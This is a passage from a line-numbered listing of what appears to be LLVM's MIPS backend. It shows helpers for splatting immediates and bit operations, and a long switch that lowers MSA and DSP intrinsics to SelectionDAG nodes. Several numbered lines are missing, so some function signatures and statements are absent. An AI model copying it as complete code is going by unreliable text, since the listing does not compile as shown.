1357 if (BigEndian)
1358 std::swap(SplatValueA, SplatValueB);
1359
1360 SDValue Ops[16] = { SplatValueA, SplatValueB, SplatValueA, SplatValueB,
1361 SplatValueA, SplatValueB, SplatValueA, SplatValueB,
1362 SplatValueA, SplatValueB, SplatValueA, SplatValueB,
1363 SplatValueA, SplatValueB, SplatValueA, SplatValueB };
1364
1365 SDValue Result = DAG.getBuildVector(
1366 ViaVecTy, DL, makeArrayRef(Ops, ViaVecTy.getVectorNumElements()));
1367
1368 if (VecTy != ViaVecTy)
1369 Result = DAG.getNode(ISD::BITCAST, DL, VecTy, Result);
1370
1371 return Result;
1372 }
1373
1375 unsigned Opc, SDValue Imm,
1376 bool BigEndian) {
1377 EVT VecTy = Op->getValueType(0);
1378 SDValue Exp2Imm;
1379 SDLoc DL(Op);
1380
1381 // The DAG Combiner can't constant fold bitcasted vectors yet so we must do it
1382 // here for now.
1383 if (VecTy == MVT::v2i64) {
1384 if (ConstantSDNode *CImm = dyn_cast<ConstantSDNode>(Imm)) {
1385 APInt BitImm = APInt(64, 1) << CImm->getAPIntValue();
1386
1387 SDValue BitImmHiOp = DAG.getConstant(BitImm.lshr(32).trunc(32), DL,
1388 MVT::i32);
1389 SDValue BitImmLoOp = DAG.getConstant(BitImm.trunc(32), DL, MVT::i32);
1390
1391 if (BigEndian)
1392 std::swap(BitImmLoOp, BitImmHiOp);
1393
1394 Exp2Imm = DAG.getNode(
1395 ISD::BITCAST, DL, MVT::v2i64,
1396 DAG.getBuildVector(MVT::v4i32, DL,
1397 {BitImmLoOp, BitImmHiOp, BitImmLoOp, BitImmHiOp}));
1398 }
1399 }
1400
1401 if (!Exp2Imm.getNode()) {
1402 // We couldnt constant fold, do a vector shift instead
1403
1404 // Extend i32 to i64 if necessary. Sign or zero extend doesn't matter since
1405 // only values 0-63 are valid.
1406 if (VecTy == MVT::v2i64)
1407 Imm = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::i64, Imm);
1408
1409 Exp2Imm = getBuildVectorSplat(VecTy, Imm, BigEndian, DAG);
1410
1411 Exp2Imm = DAG.getNode(ISD::SHL, DL, VecTy, DAG.getConstant(1, DL, VecTy),
1412 Exp2Imm);
1413 }
1414
1415 return DAG.getNode(Opc, DL, VecTy, Op->getOperand(1), Exp2Imm);
1416 }
1417
1419 SDLoc DL(Op);
1420 EVT ResTy = Op->getValueType(0);
1421 SDValue Vec = Op->getOperand(2);
1422 bool BigEndian = !DAG.getSubtarget().getTargetTriple().isLittleEndian();
1423 MVT ResEltTy = ResTy == MVT::v2i64 ? MVT::i64 : MVT::i32;
1424 SDValue ConstValue = DAG.getConstant(Vec.getScalarValueSizeInBits() - 1,
1425 DL, ResEltTy);
1426 SDValue SplatVec = getBuildVectorSplat(ResTy, ConstValue, BigEndian, DAG);
1427
1428 return DAG.getNode(ISD::AND, DL, ResTy, Vec, SplatVec);
1429 }
1430
1432 EVT ResTy = Op->getValueType(0);
1433 SDLoc DL(Op);
1434 SDValue One = DAG.getConstant(1, DL, ResTy);
1435 SDValue Bit = DAG.getNode(ISD::SHL, DL, ResTy, One, truncateVecElts(Op, DAG));
1436
1437 return DAG.getNode(ISD::AND, DL, ResTy, Op->getOperand(1),
1438 DAG.getNOT(DL, Bit, ResTy));
1439 }
1440
1442 SDLoc DL(Op);
1443 EVT ResTy = Op->getValueType(0);
1444 APInt BitImm = APInt(ResTy.getScalarSizeInBits(), 1)
1445 << cast<ConstantSDNode>(Op->getOperand(2))->getAPIntValue();
1446 SDValue BitMask = DAG.getConstant(~BitImm, DL, ResTy);
1447
1448 return DAG.getNode(ISD::AND, DL, ResTy, Op->getOperand(1), BitMask);
1449 }
1450
1451 SDValue MipsSETargetLowering::lowerINTRINSIC_WO_CHAIN(SDValue Op,
1452 SelectionDAG &DAG) const {
1453 SDLoc DL(Op);
1454 unsigned Intrinsic = cast<ConstantSDNode>(Op->getOperand(0))->getZExtValue();
1455 switch (Intrinsic) {
1456 default:
1457 return SDValue();
1458 case Intrinsic::mips_shilo:
1459 return lowerDSPIntr(Op, DAG, MipsISD::SHILO);
1460 case Intrinsic::mips_dpau_h_qbl:
1461 return lowerDSPIntr(Op, DAG, MipsISD::DPAU_H_QBL);
1462 case Intrinsic::mips_dpau_h_qbr:
1463 return lowerDSPIntr(Op, DAG, MipsISD::DPAU_H_QBR);
1464 case Intrinsic::mips_dpsu_h_qbl:
1465 return lowerDSPIntr(Op, DAG, MipsISD::DPSU_H_QBL);
1466 case Intrinsic::mips_dpsu_h_qbr:
1467 return lowerDSPIntr(Op, DAG, MipsISD::DPSU_H_QBR);
1468 case Intrinsic::mips_dpa_w_ph:
1469 return lowerDSPIntr(Op, DAG, MipsISD::DPA_W_PH);
1470 case Intrinsic::mips_dps_w_ph:
1471 return lowerDSPIntr(Op, DAG, MipsISD::DPS_W_PH);
1472 case Intrinsic::mips_dpax_w_ph:
1473 return lowerDSPIntr(Op, DAG, MipsISD::DPAX_W_PH);
1474 case Intrinsic::mips_dpsx_w_ph:
1475 return lowerDSPIntr(Op, DAG, MipsISD::DPSX_W_PH);
1476 case Intrinsic::mips_mulsa_w_ph:
1477 return lowerDSPIntr(Op, DAG, MipsISD::MULSA_W_PH);
1478 case Intrinsic::mips_mult:
1479 return lowerDSPIntr(Op, DAG, MipsISD::Mult);
1480 case Intrinsic::mips_multu:
1481 return lowerDSPIntr(Op, DAG, MipsISD::Multu);
1482 case Intrinsic::mips_madd:
1483 return lowerDSPIntr(Op, DAG, MipsISD::MAdd);
1484 case Intrinsic::mips_maddu:
1485 return lowerDSPIntr(Op, DAG, MipsISD::MAddu);
1486 case Intrinsic::mips_msub:
1487 return lowerDSPIntr(Op, DAG, MipsISD::MSub);
1488 case Intrinsic::mips_msubu:
1489 return lowerDSPIntr(Op, DAG, MipsISD::MSubu);
1490 case Intrinsic::mips_addv_b:
1491 case Intrinsic::mips_addv_h:
1492 case Intrinsic::mips_addv_w:
1493 case Intrinsic::mips_addv_d:
1494 return DAG.getNode(ISD::ADD, DL, Op->getValueType(0), Op->getOperand(1),
1495 Op->getOperand(2));
1496 case Intrinsic::mips_addvi_b:
1497 case Intrinsic::mips_addvi_h:
1498 case Intrinsic::mips_addvi_w:
1499 case Intrinsic::mips_addvi_d:
1500 return DAG.getNode(ISD::ADD, DL, Op->getValueType(0), Op->getOperand(1),
1501 lowerMSASplatImm(Op, 2, DAG));
1502 case Intrinsic::mips_and_v:
1503 return DAG.getNode(ISD::AND, DL, Op->getValueType(0), Op->getOperand(1),
1504 Op->getOperand(2));
1505 case Intrinsic::mips_andi_b:
1506 return DAG.getNode(ISD::AND, DL, Op->getValueType(0), Op->getOperand(1),
1507 lowerMSASplatImm(Op, 2, DAG));
1508 case Intrinsic::mips_bclr_b:
1509 case Intrinsic::mips_bclr_h:
1510 case Intrinsic::mips_bclr_w:
1511 case Intrinsic::mips_bclr_d:
1512 return lowerMSABitClear(Op, DAG);
1513 case Intrinsic::mips_bclri_b:
1514 case Intrinsic::mips_bclri_h:
1515 case Intrinsic::mips_bclri_w:
1516 case Intrinsic::mips_bclri_d:
1517 return lowerMSABitClearImm(Op, DAG);
1518 case Intrinsic::mips_binsli_b:
1519 case Intrinsic::mips_binsli_h:
1520 case Intrinsic::mips_binsli_w:
1521 case Intrinsic::mips_binsli_d: {
1522 // binsli_x(IfClear, IfSet, nbits) -> (vselect LBitsMask, IfSet, IfClear)
1523 EVT VecTy = Op->getValueType(0);
1524 EVT EltTy = VecTy.getVectorElementType();
1525 if (Op->getConstantOperandVal(3) >= EltTy.getSizeInBits())
1526 report_fatal_error("Immediate out of range");
1528 Op->getConstantOperandVal(3) + 1);
1529 return DAG.getNode(ISD::VSELECT, DL, VecTy,
1530 DAG.getConstant(Mask, DL, VecTy, true),
1531 Op->getOperand(2), Op->getOperand(1));
1532 }
1533 case Intrinsic::mips_binsri_b:
1534 case Intrinsic::mips_binsri_h:
1535 case Intrinsic::mips_binsri_w:
1536 case Intrinsic::mips_binsri_d: {
1537 // binsri_x(IfClear, IfSet, nbits) -> (vselect RBitsMask, IfSet, IfClear)
1538 EVT VecTy = Op->getValueType(0);
1539 EVT EltTy = VecTy.getVectorElementType();
1540 if (Op->getConstantOperandVal(3) >= EltTy.getSizeInBits())
1541 report_fatal_error("Immediate out of range");
1543 Op->getConstantOperandVal(3) + 1);
1544 return DAG.getNode(ISD::VSELECT, DL, VecTy,
1545 DAG.getConstant(Mask, DL, VecTy, true),
1546 Op->getOperand(2), Op->getOperand(1));
1547 }
1548 case Intrinsic::mips_bmnz_v:
1549 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0), Op->getOperand(3),
1550 Op->getOperand(2), Op->getOperand(1));
1551 case Intrinsic::mips_bmnzi_b:
1552 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0),
1553 lowerMSASplatImm(Op, 3, DAG), Op->getOperand(2),
1554 Op->getOperand(1));
1555 case Intrinsic::mips_bmz_v:
1556 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0), Op->getOperand(3),
1557 Op->getOperand(1), Op->getOperand(2));
1558 case Intrinsic::mips_bmzi_b:
1559 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0),
1560 lowerMSASplatImm(Op, 3, DAG), Op->getOperand(1),
1561 Op->getOperand(2));
1562 case Intrinsic::mips_bneg_b:
1563 case Intrinsic::mips_bneg_h:
1564 case Intrinsic::mips_bneg_w:
1565 case Intrinsic::mips_bneg_d: {
1566 EVT VecTy = Op->getValueType(0);
1567 SDValue One = DAG.getConstant(1, DL, VecTy);
1568
1569 return DAG.getNode(ISD::XOR, DL, VecTy, Op->getOperand(1),
1570 DAG.getNode(ISD::SHL, DL, VecTy, One,
1571 truncateVecElts(Op, DAG)));
1572 }
1573 case Intrinsic::mips_bnegi_b:
1574 case Intrinsic::mips_bnegi_h:
1575 case Intrinsic::mips_bnegi_w:
1576 case Intrinsic::mips_bnegi_d:
1577 return lowerMSABinaryBitImmIntr(Op, DAG, ISD::XOR, Op->getOperand(2),
1578 !Subtarget.isLittle());
1579 case Intrinsic::mips_bnz_b:
1580 case Intrinsic::mips_bnz_h:
1581 case Intrinsic::mips_bnz_w:
1582 case Intrinsic::mips_bnz_d:
1583 return DAG.getNode(MipsISD::VALL_NONZERO, DL, Op->getValueType(0),
1584 Op->getOperand(1));
1585 case Intrinsic::mips_bnz_v:
1586 return DAG.getNode(MipsISD::VANY_NONZERO, DL, Op->getValueType(0),
1587 Op->getOperand(1));
1588 case Intrinsic::mips_bsel_v:
1589 // bsel_v(Mask, IfClear, IfSet) -> (vselect Mask, IfSet, IfClear)
1590 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0),
1591 Op->getOperand(1), Op->getOperand(3),
1592 Op->getOperand(2));
1593 case Intrinsic::mips_bseli_b:
1594 // bseli_v(Mask, IfClear, IfSet) -> (vselect Mask, IfSet, IfClear)
1595 return DAG.getNode(ISD::VSELECT, DL, Op->getValueType(0),
1596 Op->getOperand(1), lowerMSASplatImm(Op, 3, DAG),
1597 Op->getOperand(2));
1598 case Intrinsic::mips_bset_b:
1599 case Intrinsic::mips_bset_h:
1600 case Intrinsic::mips_bset_w:
1601 case Intrinsic::mips_bset_d: {
1602 EVT VecTy = Op->getValueType(0);
1603 SDValue One = DAG.getConstant(1, DL, VecTy);
1604
1605 return DAG.getNode(ISD::OR, DL, VecTy, Op->getOperand(1),
1606 DAG.getNode(ISD::SHL, DL, VecTy, One,
1607 truncateVecElts(Op, DAG)));
1608 }
1609 case Intrinsic::mips_bseti_b:
1610 case Intrinsic::mips_bseti_h:
1611 case Intrinsic::mips_bseti_w:
1612 case Intrinsic::mips_bseti_d:
1613 return lowerMSABinaryBitImmIntr(Op, DAG, ISD::OR, Op->getOperand(2),
1614 !Subtarget.isLittle());
1615 case Intrinsic::mips_bz_b:
1616 case Intrinsic::mips_bz_h:
1617 case Intrinsic::mips_bz_w:
1618 case Intrinsic::mips_bz_d:
1619 return DAG.getNode(MipsISD::VALL_ZERO, DL, Op->getValueType(0),
1620 Op->getOperand(1));
1621 case Intrinsic::mips_bz_v:
1622 return DAG.getNode(MipsISD::VANY_ZERO, DL, Op->getValueType(0),
1623 Op->getOperand(1));
1624 case Intrinsic::mips_ceq_b:
1625 case Intrinsic::mips_ceq_h:
1626 case Intrinsic::mips_ceq_w:
1627 case Intrinsic::mips_ceq_d:
1628 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1629 Op->getOperand(2), ISD::SETEQ);
1630 case Intrinsic::mips_ceqi_b:
1631 case Intrinsic::mips_ceqi_h:
1632 case Intrinsic::mips_ceqi_w:
1633 case Intrinsic::mips_ceqi_d:
1634 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1635 lowerMSASplatImm(Op, 2, DAG, true), ISD::SETEQ);
1636 case Intrinsic::mips_cle_s_b:
1637 case Intrinsic::mips_cle_s_h:
1638 case Intrinsic::mips_cle_s_w:
1639 case Intrinsic::mips_cle_s_d:
1640 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1641 Op->getOperand(2), ISD::SETLE);
1642 case Intrinsic::mips_clei_s_b:
1643 case Intrinsic::mips_clei_s_h:
1644 case Intrinsic::mips_clei_s_w:
1645 case Intrinsic::mips_clei_s_d:
1646 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1647 lowerMSASplatImm(Op, 2, DAG, true), ISD::SETLE);
1648 case Intrinsic::mips_cle_u_b:
1649 case Intrinsic::mips_cle_u_h:
1650 case Intrinsic::mips_cle_u_w:
1651 case Intrinsic::mips_cle_u_d:
1652 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1653 Op->getOperand(2), ISD::SETULE);
1654 case Intrinsic::mips_clei_u_b:
1655 case Intrinsic::mips_clei_u_h:
1656 case Intrinsic::mips_clei_u_w:
1657 case Intrinsic::mips_clei_u_d:
1658 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1659 lowerMSASplatImm(Op, 2, DAG), ISD::SETULE);
1660 case Intrinsic::mips_clt_s_b:
1661 case Intrinsic::mips_clt_s_h:
1662 case Intrinsic::mips_clt_s_w:
1663 case Intrinsic::mips_clt_s_d:
1664 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1665 Op->getOperand(2), ISD::SETLT);
1666 case Intrinsic::mips_clti_s_b:
1667 case Intrinsic::mips_clti_s_h:
1668 case Intrinsic::mips_clti_s_w:
1669 case Intrinsic::mips_clti_s_d:
1670 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1671 lowerMSASplatImm(Op, 2, DAG, true), ISD::SETLT);
1672 case Intrinsic::mips_clt_u_b:
1673 case Intrinsic::mips_clt_u_h:
1674 case Intrinsic::mips_clt_u_w:
1675 case Intrinsic::mips_clt_u_d:
1676 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1677 Op->getOperand(2), ISD::SETULT);
1678 case Intrinsic::mips_clti_u_b:
1679 case Intrinsic::mips_clti_u_h:
1680 case Intrinsic::mips_clti_u_w:
1681 case Intrinsic::mips_clti_u_d:
1682 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1683 lowerMSASplatImm(Op, 2, DAG), ISD::SETULT);
1684 case Intrinsic::mips_copy_s_b:
1685 case Intrinsic::mips_copy_s_h:
1686 case Intrinsic::mips_copy_s_w:
1688 case Intrinsic::mips_copy_s_d:
1689 if (Subtarget.hasMips64())
1690 // Lower directly into VEXTRACT_SEXT_ELT since i64 is legal on Mips64.
1692 else {
1693 // Lower into the generic EXTRACT_VECTOR_ELT node and let the type
1694 // legalizer and EXTRACT_VECTOR_ELT lowering sort it out.
1695 return DAG.getNode(ISD::EXTRACT_VECTOR_ELT, SDLoc(Op),
1696 Op->getValueType(0), Op->getOperand(1),
1697 Op->getOperand(2));
1698 }
1699 case Intrinsic::mips_copy_u_b:
1700 case Intrinsic::mips_copy_u_h:
1701 case Intrinsic::mips_copy_u_w:
1703 case Intrinsic::mips_copy_u_d:
1704 if (Subtarget.hasMips64())
1705 // Lower directly into VEXTRACT_ZEXT_ELT since i64 is legal on Mips64.
1707 else {
1708 // Lower into the generic EXTRACT_VECTOR_ELT node and let the type
1709 // legalizer and EXTRACT_VECTOR_ELT lowering sort it out.
1710 // Note: When i64 is illegal, this results in copy_s.w instructions
1711 // instead of copy_u.w instructions. This makes no difference to the
1712 // behaviour since i64 is only illegal when the register file is 32-bit.
1713 return DAG.getNode(ISD::EXTRACT_VECTOR_ELT, SDLoc(Op),
1714 Op->getValueType(0), Op->getOperand(1),
1715 Op->getOperand(2));
1716 }
1717 case Intrinsic::mips_div_s_b:
1718 case Intrinsic::mips_div_s_h:
1719 case Intrinsic::mips_div_s_w:
1720 case Intrinsic::mips_div_s_d:
1721 return DAG.getNode(ISD::SDIV, DL, Op->getValueType(0), Op->getOperand(1),
1722 Op->getOperand(2));
1723 case Intrinsic::mips_div_u_b:
1724 case Intrinsic::mips_div_u_h:
1725 case Intrinsic::mips_div_u_w:
1726 case Intrinsic::mips_div_u_d:
1727 return DAG.getNode(ISD::UDIV, DL, Op->getValueType(0), Op->getOperand(1),
1728 Op->getOperand(2));
1729 case Intrinsic::mips_fadd_w:
1730 case Intrinsic::mips_fadd_d:
1731 // TODO: If intrinsics have fast-math-flags, propagate them.
1732 return DAG.getNode(ISD::FADD, DL, Op->getValueType(0), Op->getOperand(1),
1733 Op->getOperand(2));
1734 // Don't lower mips_fcaf_[wd] since LLVM folds SETFALSE condcodes away
1735 case Intrinsic::mips_fceq_w:
1736 case Intrinsic::mips_fceq_d:
1737 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1738 Op->getOperand(2), ISD::SETOEQ);
1739 case Intrinsic::mips_fcle_w:
1740 case Intrinsic::mips_fcle_d:
1741 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1742 Op->getOperand(2), ISD::SETOLE);
1743 case Intrinsic::mips_fclt_w:
1744 case Intrinsic::mips_fclt_d:
1745 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1746 Op->getOperand(2), ISD::SETOLT);
1747 case Intrinsic::mips_fcne_w:
1748 case Intrinsic::mips_fcne_d:
1749 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1750 Op->getOperand(2), ISD::SETONE);
1751 case Intrinsic::mips_fcor_w:
1752 case Intrinsic::mips_fcor_d:
1753 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1754 Op->getOperand(2), ISD::SETO);
1755 case Intrinsic::mips_fcueq_w:
1756 case Intrinsic::mips_fcueq_d:
1757 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1758 Op->getOperand(2), ISD::SETUEQ);
1759 case Intrinsic::mips_fcule_w:
1760 case Intrinsic::mips_fcule_d:
1761 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1762 Op->getOperand(2), ISD::SETULE);
1763 case Intrinsic::mips_fcult_w:
1764 case Intrinsic::mips_fcult_d:
1765 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1766 Op->getOperand(2), ISD::SETULT);
1767 case Intrinsic::mips_fcun_w:
1768 case Intrinsic::mips_fcun_d:
1769 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1770 Op->getOperand(2), ISD::SETUO);
1771 case Intrinsic::mips_fcune_w:
1772 case Intrinsic::mips_fcune_d:
1773 return DAG.getSetCC(DL, Op->getValueType(0), Op->getOperand(1),
1774 Op->getOperand(2), ISD::SETUNE);
1775 case Intrinsic::mips_fdiv_w:
1776 case Intrinsic::mips_fdiv_d:
1777 // TODO: If intrinsics have fast-math-flags, propagate them.
1778 return DAG.getNode(ISD::FDIV, DL, Op->getValueType(0), Op->getOperand(1),
1779 Op->getOperand(2));
1780 case Intrinsic::mips_ffint_u_w:
1781 case Intrinsic::mips_ffint_u_d:
1782 return DAG.getNode(ISD::UINT_TO_FP, DL, Op->getValueType(0),
1783 Op->getOperand(1));
1784 case Intrinsic::mips_ffint_s_w:
1785 case Intrinsic::mips_ffint_s_d:
1786 return DAG.getNode(ISD::SINT_TO_FP, DL, Op->getValueType(0),
1787 Op->getOperand(1));
1788 case Intrinsic::mips_fill_b:
1789 case Intrinsic::mips_fill_h:
1790 case Intrinsic::mips_fill_w:
1791 case Intrinsic::mips_fill_d: {
1792 EVT ResTy = Op->getValueType(0);
1794 Op->getOperand(1));
1795
1796 // If ResTy is v2i64 then the type legalizer will break this node down into
1797 // an equivalent v4i32.
1798 return DAG.getBuildVector(ResTy, DL, Ops);
1799 }
1800 case Intrinsic::mips_fexp2_w:
1801 case Intrinsic::mips_fexp2_d: {
1802 // TODO: If intrinsics have fast-math-flags, propagate them.
1803 EVT ResTy = Op->getValueType(0);
1804 return DAG.getNode(
1805 ISD::FMUL, SDLoc(Op), ResTy, Op->getOperand(1),
1806 DAG.getNode(ISD::FEXP2, SDLoc(Op), ResTy, Op->getOperand(2)));
1807 }
1808 case Intrinsic::mips_flog2_w:
1809 case Intrinsic::mips_flog2_d:
1810 return DAG.getNode(ISD::FLOG2, DL, Op->getValueType(0), Op->getOperand(1));
1811 case Intrinsic::mips_fmadd_w:
1812 case Intrinsic::mips_fmadd_d:
1813 return DAG.getNode(ISD::FMA, SDLoc(Op), Op->getValueType(0),
1814 Op->getOperand(1), Op->getOperand(2), Op->getOperand(3));
1815 case Intrinsic::mips_fmul_w:
1816 case Intrinsic::mips_fmul_d:
1817 // TODO: If intrinsics have fast-math-flags, propagate them.
1818 return DAG.getNode(ISD::FMUL, DL, Op->getValueType(0), Op->getOperand(1),
1819 Op->getOperand(2));
1820 case Intrinsic::mips_fmsub_w:
1821 case Intrinsic::mips_fmsub_d: {
1822 // TODO: If intrinsics have fast-math-flags, propagate them.
1823 EVT ResTy = Op->getValueType(0);
1824 return DAG.getNode(ISD::FSUB, SDLoc(Op), ResTy, Op->getOperand(1),
1825 DAG.getNode(ISD::FMUL, SDLoc(Op), ResTy,
1826 Op->getOperand(2), Op->getOperand(3)));
1827 }
1828 case Intrinsic::mips_frint_w:
1829 case Intrinsic::mips_frint_d:
1830 return DAG.getNode(ISD::FRINT, DL, Op->getValueType(0), Op->getOperand(1));
1831 case Intrinsic::mips_fsqrt_w:
1832 case Intrinsic::mips_fsqrt_d:
1833 return DAG.getNode(ISD::FSQRT, DL, Op->getValueType(0), Op->getOperand(1));
1834 case Intrinsic::mips_fsub_w:
1835 case Intrinsic::mips_fsub_d:
1836 // TODO: If intrinsics have fast-math-flags, propagate them.
1837 return DAG.getNode(ISD::FSUB, DL, Op->getValueType(0), Op->getOperand(1),
1838 Op->getOperand(2));
1839 case Intrinsic::mips_ftrunc_u_w:
1840 case Intrinsic::mips_ftrunc_u_d:
1841 return DAG.getNode(ISD::FP_TO_UINT, DL, Op->getValueType(0),
1842 Op->getOperand(1));
1843 case Intrinsic::mips_ftrunc_s_w:
1844 case Intrinsic::mips_ftrunc_s_d:
1845 return DAG.getNode(ISD::FP_TO_SINT, DL, Op->getValueType(0),
1846 Op->getOperand(1));
1847 case Intrinsic::mips_ilvev_b:
1848 case Intrinsic::mips_ilvev_h:
1849 case Intrinsic::mips_ilvev_w:
1850 case Intrinsic::mips_ilvev_d:
1851 return DAG.getNode(MipsISD::ILVEV, DL, Op->getValueType(0),
1852 Op->getOperand(1), Op->getOperand(2));
1853 case Intrinsic::mips_ilvl_b:
1854 case Intrinsic::mips_ilvl_h:
1855 case Intrinsic::mips_ilvl_w:
1856 case Intrinsic::mips_ilvl_d:
1857 return DAG.getNode(MipsISD::ILVL, DL, Op->getValueType(0),
1858 Op->getOperand(1), Op->getOperand(2));
1859 case Intrinsic::mips_ilvod_b:
1860 case Intrinsic::mips_ilvod_h:
1861 case Intrinsic::mips_ilvod_w:
1862 case Intrinsic::mips_ilvod_d:
1863 return DAG.getNode(MipsISD::ILVOD, DL, Op->getValueType(0),
1864 Op->getOperand(1), Op->getOperand(2));
1865 case Intrinsic::mips_ilvr_b:
1866 case Intrinsic::mips_ilvr_h:
1867 case Intrinsic::mips_ilvr_w:
1868 case Intrinsic::mips_ilvr_d:
1869 return DAG.getNode(MipsISD::ILVR, DL, Op->getValueType(0),
1870 Op->getOperand(1), Op->getOperand(2));
1871 case Intrinsic::mips_insert_b:
1872 case Intrinsic::mips_insert_h:
1873 case Intrinsic::mips_insert_w:
1874 case Intrinsic::mips_insert_d:
1875 return DAG.getNode(ISD::INSERT_VECTOR_ELT, SDLoc(Op), Op->getValueType(0),
1876 Op->getOperand(1), Op->getOperand(3), Op->getOperand(2));
1877 case Intrinsic::mips_insve_b:
1878 case Intrinsic::mips_insve_h:
1879 case Intrinsic::mips_insve_w:
1880 case Intrinsic::mips_insve_d: {
1881 // Report an error for out of range values.
1882 int64_t Max;
1883 switch (Intrinsic) {
1884 case Intrinsic::mips_insve_b: Max = 15; break;
1885 case Intrinsic::mips_insve_h: Max = 7; break;
1886 case Intrinsic::mips_insve_w: Max = 3; break;
1887 case Intrinsic::mips_insve_d: Max = 1; break;
1888 default: llvm_unreachable("Unmatched intrinsic");
1889 }
1890 int64_t Value = cast<ConstantSDNode>(Op->getOperand(2))->getSExtValue();
1891 if (Value < 0 || Value > Max)
1892 report_fatal_error("Immediate out of range");
1893 return DAG.getNode(MipsISD::INSVE, DL, Op->getValueType(0),
1894 Op->getOperand(1), Op->getOperand(2), Op->getOperand(3),
1895 DAG.getConstant(0, DL, MVT::i32));
1896 }
1897 case Intrinsic::mips_ldi_b:
1898 case Intrinsic::mips_ldi_h:
1899 case Intrinsic::mips_ldi_w:
1900 case Intrinsic::mips_ldi_d:
1901 return lowerMSASplatImm(Op, 1, DAG, true);
1902 case Intrinsic::mips_lsa:
1903 case Intrinsic::mips_dlsa: {
1904 EVT ResTy = Op->getValueType(0);
1905 return DAG.getNode(ISD::ADD, SDLoc(Op), ResTy, Op->getOperand(1),
1906 DAG.getNode(ISD::SHL, SDLoc(Op), ResTy,
1907 Op->getOperand(2), Op->getOperand(3)));
1908 }
1909 case Intrinsic::mips_maddv_b:
1910 case Intrinsic::mips_maddv_h:
1911 case Intrinsic::mips_maddv_w:
1912 case Intrinsic::mips_maddv_d: {
1913 EVT ResTy = Op->getValueType(0);
1914 return DAG.getNode(ISD::ADD, SDLoc(Op), ResTy, Op->getOperand(1),
1915 DAG.getNode(ISD::MUL, SDLoc(Op), ResTy,
1916 Op->getOperand(2), Op->getOperand(3)));
1917 }
1918 case Intrinsic::mips_max_s_b:
1919 case Intrinsic::mips_max_s_h:
1920 case Intrinsic::mips_max_s_w:
1921 case Intrinsic::mips_max_s_d:
1922 return DAG.getNode(MipsISD::VSMAX, DL, Op->getValueType(0),
1923 Op->getOperand(1), Op->getOperand(2));
1924 case Intrinsic::mips_max_u_b:
1925 case Intrinsic::mips_max_u_h:
1926 case Intrinsic::mips_max_u_w:
1927 case Intrinsic::mips_max_u_d:
1928 return DAG.getNode(MipsISD::VUMAX, DL, Op->getValueType(0),
1929 Op->getOperand(1), Op->getOperand(2));
1930 case Intrinsic::mips_maxi_s_b:
1931 case Intrinsic::mips_maxi_s_h:
1932 case Intrinsic::mips_maxi_s_w:
1933 case Intrinsic::mips_maxi_s_d:
1934 return DAG.getNode(MipsISD::VSMAX, DL, Op->getValueType(0),
1935 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG, true));
1936 case Intrinsic::mips_maxi_u_b:
1937 case Intrinsic::mips_maxi_u_h:
1938 case Intrinsic::mips_maxi_u_w:
1939 case Intrinsic::mips_maxi_u_d:
1940 return DAG.getNode(MipsISD::VUMAX, DL, Op->getValueType(0),
1941 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
1942 case Intrinsic::mips_min_s_b:
1943 case Intrinsic::mips_min_s_h:
1944 case Intrinsic::mips_min_s_w:
1945 case Intrinsic::mips_min_s_d:
1946 return DAG.getNode(MipsISD::VSMIN, DL, Op->getValueType(0),
1947 Op->getOperand(1), Op->getOperand(2));
1948 case Intrinsic::mips_min_u_b:
1949 case Intrinsic::mips_min_u_h:
1950 case Intrinsic::mips_min_u_w:
1951 case Intrinsic::mips_min_u_d:
1952 return DAG.getNode(MipsISD::VUMIN, DL, Op->getValueType(0),
1953 Op->getOperand(1), Op->getOperand(2));
1954 case Intrinsic::mips_mini_s_b:
1955 case Intrinsic::mips_mini_s_h:
1956 case Intrinsic::mips_mini_s_w:
1957 case Intrinsic::mips_mini_s_d:
1958 return DAG.getNode(MipsISD::VSMIN, DL, Op->getValueType(0),
1959 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG, true));
1960 case Intrinsic::mips_mini_u_b:
1961 case Intrinsic::mips_mini_u_h:
1962 case Intrinsic::mips_mini_u_w:
1963 case Intrinsic::mips_mini_u_d:
1964 return DAG.getNode(MipsISD::VUMIN, DL, Op->getValueType(0),
1965 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
1966 case Intrinsic::mips_mod_s_b:
1967 case Intrinsic::mips_mod_s_h:
1968 case Intrinsic::mips_mod_s_w:
1969 case Intrinsic::mips_mod_s_d:
1970 return DAG.getNode(ISD::SREM, DL, Op->getValueType(0), Op->getOperand(1),
1971 Op->getOperand(2));
1972 case Intrinsic::mips_mod_u_b:
1973 case Intrinsic::mips_mod_u_h:
1974 case Intrinsic::mips_mod_u_w:
1975 case Intrinsic::mips_mod_u_d:
1976 return DAG.getNode(ISD::UREM, DL, Op->getValueType(0), Op->getOperand(1),
1977 Op->getOperand(2));
1978 case Intrinsic::mips_mulv_b:
1979 case Intrinsic::mips_mulv_h:
